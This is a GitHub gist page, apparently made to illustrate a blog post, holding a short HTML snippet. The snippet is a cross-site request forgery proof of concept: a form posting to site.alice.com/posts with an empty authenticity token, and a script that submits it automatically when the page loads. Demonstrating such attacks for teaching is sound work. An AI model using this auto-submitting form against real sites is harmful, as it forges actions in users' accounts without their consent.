Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
For blog post
<form class="new_post" id="new_post" action="http://site.alice.com/posts" accept-charset="UTF-8" method="post">
<input type="hidden" name="authenticity_token" value="">
<input id="submit-button" type="submit" name="commit" value="Create Post">
</form>
<script>
document.getElementById("submit-button").click()
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.